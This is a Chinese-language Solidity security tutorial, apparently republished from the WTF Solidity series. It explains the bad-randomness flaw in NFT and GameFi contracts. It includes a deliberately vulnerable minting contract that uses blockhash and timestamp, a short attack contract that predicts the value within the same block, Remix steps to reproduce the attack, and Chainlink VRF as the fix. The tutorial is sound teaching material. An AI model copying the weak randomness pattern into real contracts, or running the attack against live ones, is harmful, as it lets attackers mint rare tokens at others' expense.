WTF Solidity 合約安全: S07. 壞隨機數
發表於 2022-11-12 15:01 作者: Bress
我最近在重新學solidity,鞏固一下細節,也寫一個“WTF Solidity極簡入門”,供小白們使用(編程大佬可以另找教程),每周更新1-3講。
這一講,我們將介紹智能合約的壞隨機數(Bad Randomness)漏洞和預防方法,這個漏洞經常在 NFT 和 GameFi 中出現,包括 Meebits,Loots,Wolf Game等。
僞隨機數
很多以太坊上的應用都需要用到隨機數,例如NFT
隨機抽取tokenId
、抽盲盒、gamefi
战鬥中隨機分勝負等等。但是由於以太坊上所有數據都是公开透明(public
)且確定性(deterministic
)的,它沒有其他編程語言一樣給开發者提供生成隨機數的方法,例如random()
。很多項目方不得不使用鏈上的僞隨機數生成方法,例如 blockhash()
和 keccak256()
方法。
壞隨機數漏洞:攻擊者可以事先計算這些僞隨機數的結果,從而達到他們想要的目的,例如鑄造任何他們想要的稀有NFT
而非隨機抽取。更多的內容可以閱讀 WTF Solidity極簡教程 第39講:僞隨機數。
壞隨機數案例
下面我們學習一個有壞隨機數漏洞的 NFT 合約: BadRandomness.sol
。
contract BadRandomness is ERC721 { uint256 totalSupply; // 構造函數,初始化NFT合集的名稱、代號 constructor() ERC721("", ""){} // 鑄造函數:當輸入的 luckyNumber 等於隨機數時才能mint function luckyMint(uint256 luckyNumber) external { uint256 randomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // get bad random number require(randomNumber == luckyNumber, "Better luck next time!"); _mint(msg.sender, totalSupply); // mint totalSupply++; }}
它有一個主要的鑄造函數 luckyMint()
,用戶調用時輸入一個 0-99
的數字,如果和鏈上生成的僞隨機數 randomNumber
相等,即可鑄造幸運 NFT。僞隨機數使用 blockhash
和 block.timestamp
聲稱。這個漏洞在於用戶可以完美預測生成的隨機數並鑄造NFT。
下面我們寫個攻擊合約 Attack.sol
。
contract Attack { function attackMint(BadRandomness nftAddr) external { // 提前計算隨機數 uint256 luckyNumber = uint256( keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp)) ) % 100; // 利用 luckyNumber 攻擊 nftAddr.luckyMint(luckyNumber); }}
攻擊函數 attackMint()
中的參數爲 BadRandomness
合約地址。在其中,我們計算了隨機數 luckyNumber
,然後將它作爲參數輸入到 luckyMint()
函數完成攻擊。由於attackMint()
和luckyMint()
將在同一個區塊中調用,blockhash
和block.timestamp
是相同的,利用他們生成的隨機數也相同。
Remix
復現
由於 Remix 自帶的 Remix VM不支持 blockhash
函數,因此你需要將合約部署到以太坊測試鏈上進行復現。
部署
BadRandomness
合約。部署
Attack
合約。將
BadRandomness
合約地址作爲參數傳入到Attack
合約的attackMint()
函數並調用,完成攻擊。調用
BadRandomness
合約的balanceOf
查看Attack
合約NFT余額,確認攻擊成功。
預防方法
我們通常使用預言機項目提供的鏈下隨機數來預防這類漏洞,例如 Chainlink VRF。這類隨機數從鏈下生成,然後上傳到鏈上,從而保證隨機數不可預測。更多介紹可以閱讀 WTF Solidity極簡教程 第39講:僞隨機數。
總結
這一講我們介紹了壞隨機數漏洞,並介紹了一個簡單的預防方法:使用預言機項目提供的鏈下隨機數。NFT 和 GameFi 項目方應避免使用鏈上僞隨機數進行抽獎,以防被黑客利用。
推特:@0xAA_Science|@WTFAcademy_
社區:Discord|微信群|官網 wtf.academy
所有代碼和教程开源在github: github.com/AmazingAng/WTFSolidity
來源:bress
標題:WTF Solidity 合約安全: S07. 壞隨機數
地址:https://www.coinsdeep.com/article/7722.html
鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播信息之目的,不構成任何投資建議,如有侵權行為,請第一時間聯絡我們修改或刪除,多謝。